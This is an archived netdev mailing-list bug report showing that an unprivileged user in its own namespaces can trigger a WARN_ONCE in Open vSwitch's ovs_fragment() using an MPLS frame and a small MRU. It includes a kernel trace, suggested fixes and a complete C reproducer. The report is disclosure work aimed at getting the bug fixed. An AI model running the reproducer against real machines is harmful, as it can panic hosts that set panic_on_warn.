Netdev List
 help / color / mirror / Atom feed
From: Kyuwon Cho <kyuwoncho18@gmail.com>
To: Aaron Conole <aconole@redhat.com>,
	Eelco Chaudron <echaudro@redhat.com>,
	Ilya Maximets <i.maximets@ovn.org>
Cc: "David S. Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@kernel.org>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Simon Horman <horms@kernel.org>,
	netdev@vger.kernel.org, dev@openvswitch.org,
	linux-kernel@vger.kernel.org
Subject: [BUG] net: openvswitch: WARN_ONCE in ovs_fragment() reachable with a user-supplied MRU on a non-IP packet
Date: Tue, 17 Nov 2026 07:12:32 -0800 (PST)	[thread overview]
Message-ID: <179492834266.3639154.14679778183890331729@gmail.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 2481 bytes --]

Hi Aaron, Eelco, Ilya,

While testing v7.4-rc3 with an LLM-guided test generator that we are
developing as a research prototype, we found that OVS_PACKET_CMD_EXECUTE
can trigger the WARN_ONCE() at the end of ovs_fragment(). An unprivileged
user can do this from its own user and network namespace:

  Failed fragment ->ovs0: eth=8847, MRU=500, MTU=1500.
  WARNING: net/openvswitch/actions.c:831 at ovs_fragment+0x239/0x840, CPU#1: test/106
  CPU: 1 UID: 65534 PID: 106 Comm: test Not tainted 7.4.0-rc3 #1 PREEMPT(lazy) 
  RIP: 0010:ovs_fragment+0x24e/0x840
  Call Trace:
   <TASK>
   do_execute_actions+0x580e/0x7380
   ovs_execute_actions+0xd3/0x3e0
   ovs_packet_cmd_execute+0xc21/0x13c0
   genl_family_rcv_msg_doit+0x1e0/0x2c0
   genl_rcv_msg+0x42d/0x6f0
   netlink_rcv_skb+0x11f/0x350
   genl_rcv+0x23/0x30
   netlink_unicast+0x518/0x870
   netlink_sendmsg+0x849/0xe20
   __sys_sendto+0x36a/0x3c0

OVS_PACKET_ATTR_MRU is taken from the request as is. In do_output(), a
packet longer than mru + hard_header_len goes to ovs_fragment() when mru
is not larger than the port's MTU. ovs_fragment() only handles IPv4 and
IPv6, and treats any other ethertype as a case that should not happen:

	} else {
		WARN_ONCE(1, "Failed fragment ->%s: eth=%04x, MRU=%d, MTU=%d.",
			  ovs_vport_name(vport), ntohs(key->eth.type), mru,
			  vport->dev->mtu);
		reason = OVS_DROP_FRAG_INVALID_PROTO;
		goto err;
	}

With an MRU in the request, any ethertype reaches it; we used MPLS
(0x8847). The packet is dropped either way, so the effect is the
warning, which panics a machine with panic_on_warn.

Dropping the packet with a rate-limited message instead of the WARN, as
fd954cc1919e ("openvswitch: switch from WARN to pr_warn") did for
ovs_dp_reset_user_features(), or checking the ethertype in do_output()
before calling ovs_fragment(), should avoid it. We have not tested either
change.

The reproducer runs as an unprivileged user (uid 65534) that creates a
user and network namespace, creates a datapath with an internal port,
and executes one 1434-byte Ethernet frame with ethertype 0x8847,
OVS_PACKET_ATTR_MRU 500 and an output action to that port. On an x86_64
QEMU guest with 2 vCPUs and KASAN (gcc 13.3, config attached), it warns
in every run (7 of 7).

Checked against v7.4-rc3 (aebb72744764); actions.c is the same in
net-next (6ff4c5942a30). We found no earlier report on syzbot or in a
web search.

The reproducer (repro.c) and the kernel config are attached.

Thanks,
Kyuwon Cho

[-- Attachment #2: repro.c --]
[-- Type: text/plain, Size: 4522 bytes --]

// WARNING in ovs_fragment: an unprivileged user executes an MPLS frame larger
// than the MRU it supplies, with output to an internal port of its own datapath.
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/if.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>

static int fd;

static void put(char *buf, size_t *len, uint16_t type, const void *data, size_t dlen)
{
	struct nlattr *a = (struct nlattr *)(buf + *len);

	a->nla_type = type;
	a->nla_len = NLA_HDRLEN + dlen;
	memcpy((char *)a + NLA_HDRLEN, data, dlen);
	*len += NLA_ALIGN(a->nla_len);
}

/* Send one generic netlink request; return the reply in rb and the error. */
static int req(uint16_t fam, uint8_t cmd, uint32_t dp, const char *attrs, size_t alen, char *rb)
{
	char msg[8192] = {0};
	struct nlmsghdr *nh = (struct nlmsghdr *)msg;
	struct genlmsghdr *gh = (struct genlmsghdr *)NLMSG_DATA(nh);
	size_t off = NLMSG_HDRLEN + GENL_HDRLEN;

	gh->cmd = cmd;
	gh->version = 1;
	if (fam != GENL_ID_CTRL) {
		((struct ovs_header *)(msg + off))->dp_ifindex = dp;
		off += sizeof(struct ovs_header);
	}
	memcpy(msg + off, attrs, alen);
	nh->nlmsg_len = off + alen;
	nh->nlmsg_type = fam;
	nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	if (send(fd, msg, nh->nlmsg_len, 0) < 0)
		return -1;
	/* A reply, if any, comes before the ACK that NLM_F_ACK asks for. */
	for (;;) {
		if (recv(fd, msg, sizeof(msg), 0) < 0)
			return -1;
		if (nh->nlmsg_type == NLMSG_ERROR)
			return ((struct nlmsgerr *)NLMSG_DATA(nh))->error;
		memcpy(rb, msg, sizeof(msg));
	}
}

static uint16_t family(const char *name)
{
	char a[64], rb[8192];
	size_t al = 0;
	struct nlattr *na;

	put(a, &al, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
	if (req(GENL_ID_CTRL, CTRL_CMD_GETFAMILY, 0, a, al, rb))
		exit(1);
	for (na = (struct nlattr *)(rb + NLMSG_HDRLEN + GENL_HDRLEN); na->nla_type != CTRL_ATTR_FAMILY_ID;
	     na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len)))
		;
	return *(uint16_t *)((char *)na + NLA_HDRLEN);
}

static void write_file(const char *path, const char *s)
{
	int f = open(path, O_WRONLY);

	if (f < 0 || write(f, s, strlen(s)) < 0)
		exit(1);
	close(f);
}

int main(void)
{
	char a[4096], key[256], act[64], rb[8192];
	uint8_t frame[1434] = {0};
	size_t al = 0, kl = 0, cl = 0;
	uint32_t pid = 0, type = OVS_VPORT_TYPE_INTERNAL, port = 1, dp;
	uint16_t fam_dp, fam_vport, fam_packet, et = htons(ETH_P_MPLS_UC), mru = 500;
	struct ovs_key_ethernet eth = {{0}};
	struct ifreq ifr = {0};
	char map[32];

	snprintf(map, sizeof(map), "0 %d 1", getuid());
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
		return 1;
	write_file("/proc/self/setgroups", "deny");
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %d 1", getgid());
	write_file("/proc/self/gid_map", map);

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	fam_dp = family(OVS_DATAPATH_FAMILY);
	fam_vport = family(OVS_VPORT_FAMILY);
	fam_packet = family(OVS_PACKET_FAMILY);

	put(a, &al, OVS_DP_ATTR_NAME, "dp0", 4);
	put(a, &al, OVS_DP_ATTR_UPCALL_PID, &pid, 4);
	printf("datapath: %d\n", req(fam_dp, OVS_DP_CMD_NEW, 0, a, al, rb));
	dp = if_nametoindex("dp0");

	al = 0;
	put(a, &al, OVS_VPORT_ATTR_NAME, "ovs0", 5);
	put(a, &al, OVS_VPORT_ATTR_TYPE, &type, 4);
	put(a, &al, OVS_VPORT_ATTR_PORT_NO, &port, 4);
	put(a, &al, OVS_VPORT_ATTR_UPCALL_PID, &pid, 4);
	printf("vport: %d\n", req(fam_vport, OVS_VPORT_CMD_NEW, dp, a, al, rb));
	strcpy(ifr.ifr_name, "ovs0");
	ifr.ifr_flags = IFF_UP;
	ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCSIFFLAGS, &ifr);

	/* An Ethernet frame with an MPLS ethertype, longer than the MRU below. */
	frame[0] = 0x02;
	frame[11] = 0x02;
	memcpy(frame + 12, &et, 2);
	memset(frame + 14, 0x41, sizeof(frame) - 14);
	memcpy(eth.eth_dst, frame, 6);
	memcpy(eth.eth_src, frame + 6, 6);
	put(key, &kl, OVS_KEY_ATTR_ETHERNET, &eth, sizeof(eth));
	put(key, &kl, OVS_KEY_ATTR_ETHERTYPE, &et, 2);
	put(key, &kl, OVS_KEY_ATTR_IN_PORT, &pid, 4);
	put(act, &cl, OVS_ACTION_ATTR_OUTPUT, &port, 4);

	al = 0;
	put(a, &al, OVS_PACKET_ATTR_PACKET, frame, sizeof(frame));
	put(a, &al, OVS_PACKET_ATTR_KEY, key, kl);
	put(a, &al, OVS_PACKET_ATTR_ACTIONS, act, cl);
	put(a, &al, OVS_PACKET_ATTR_MRU, &mru, 2);
	printf("execute: %d\n", req(fam_packet, OVS_PACKET_CMD_EXECUTE, dp, a, al, rb));
	return 0;
}

[-- Attachment #3: config.gz --]
[-- Type: application/gzip, Size: 37687 bytes --]

                 reply	other threads:[~2026-11-17 15:12 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=179492834266.3639154.14679778183890331729@gmail.com \
    --to=kyuwoncho18@gmail.com \
    --cc=aconole@redhat.com \
    --cc=davem@davemloft.net \
    --cc=dev@openvswitch.org \
    --cc=echaudro@redhat.com \
    --cc=edumazet@kernel.org \
    --cc=horms@kernel.org \
    --cc=i.maximets@ovn.org \
    --cc=kuba@kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox